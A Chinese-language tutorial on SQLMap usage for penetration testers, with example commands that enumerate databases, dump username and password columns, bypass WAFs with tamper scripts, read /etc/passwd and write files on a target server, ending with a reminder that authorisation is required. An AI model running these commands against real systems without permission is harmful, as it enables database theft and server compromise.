SQLMap 是一款开源的自动化 SQL 注入工具,可以用于检测和利用 SQL 注入漏洞,帮助安全研究人员和渗透测试人员评估和攻击目标系统的数据库安全性。以下是 SQLMap 的基本用法:
1. 基本用法
要使用 SQLMap,您可以通过命令行提供目标 URL。以下是一个简单的例子:
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>"
2. 常用选项
u
:指定目标 URL。-data
:用于指定 POST 请求的数据。例如:sqlmap -u "<http://example.com/login.php>" --data="username=admin&password=admin"
-cookie
:如果目标页面需要用户登录,可以使用此选项传递会话 cookie。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --cookie="PHPSESSID=abc123"
-dbs
:列出目标数据库服务器上的所有数据库。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --dbs
D
:指定数据库名称,用于进一步操作。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase --tables
-tables
:列出指定数据库中的所有表。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase --tables
T
:指定表名称,用于进一步操作。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users --columns
-columns
:列出指定表中的所有列。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users --columns
C
:指定列名称,用于进一步操作。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users -C username,password --dump
-dump
:导出指定表或指定列的数据。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users --dump
3. 检测和利用 SQL 注入
基本注入测试: SQLMap 自动检测和利用 SQL 注入。只需提供目标 URL,SQLMap 将尝试各种注入技术来识别漏洞:
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>"
指定注入类型: 通过
-level
和-risk
选项,您可以调整 SQLMap 的攻击强度和测试复杂性。-level
的值范围为 1-5,-risk
的值范围为 1-3:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --level=3 --risk=2
4. 其它高级功能
绕过 WAF:有时 Web 应用防火墙 (WAF) 可能会阻止 SQLMap 的请求,您可以使用
-tamper
选项使用不同的混淆脚本来绕过 WAF。例如:sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --tamper=space2comment
读取文件:如果成功注入,SQLMap 还可以读取服务器上的文件:
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --file-read="/etc/passwd"
写入文件:如果有写权限,您还可以写入文件:
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
5. 常见的命令组合
# 检测并列出数据库
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" --dbs
# 指定数据库后,列出表
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase --tables
# 指定表后,列出列
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users --columns
# 导出指定列的数据
sqlmap -u "<http://example.com/vulnerable_page.php?id=1>" -D mydatabase -T users -C username,password --dump
6. 查看帮助
SQLMap 有非常丰富的选项,可以使用以下命令查看帮助信息:
sqlmap --help
7. 注意事项
法律责任:在使用 SQLMap 或其他安全工具时,必须获得目标系统所有者的明确许可。未经授权的攻击是非法的。
系统资源:SQLMap 可能会对目标系统造成一定的压力,尤其是在进行大量测试时,请谨慎操作。
通过这些步骤,您应该能够掌握 SQLMap 的基本用法并执行各种 SQL 注入测试。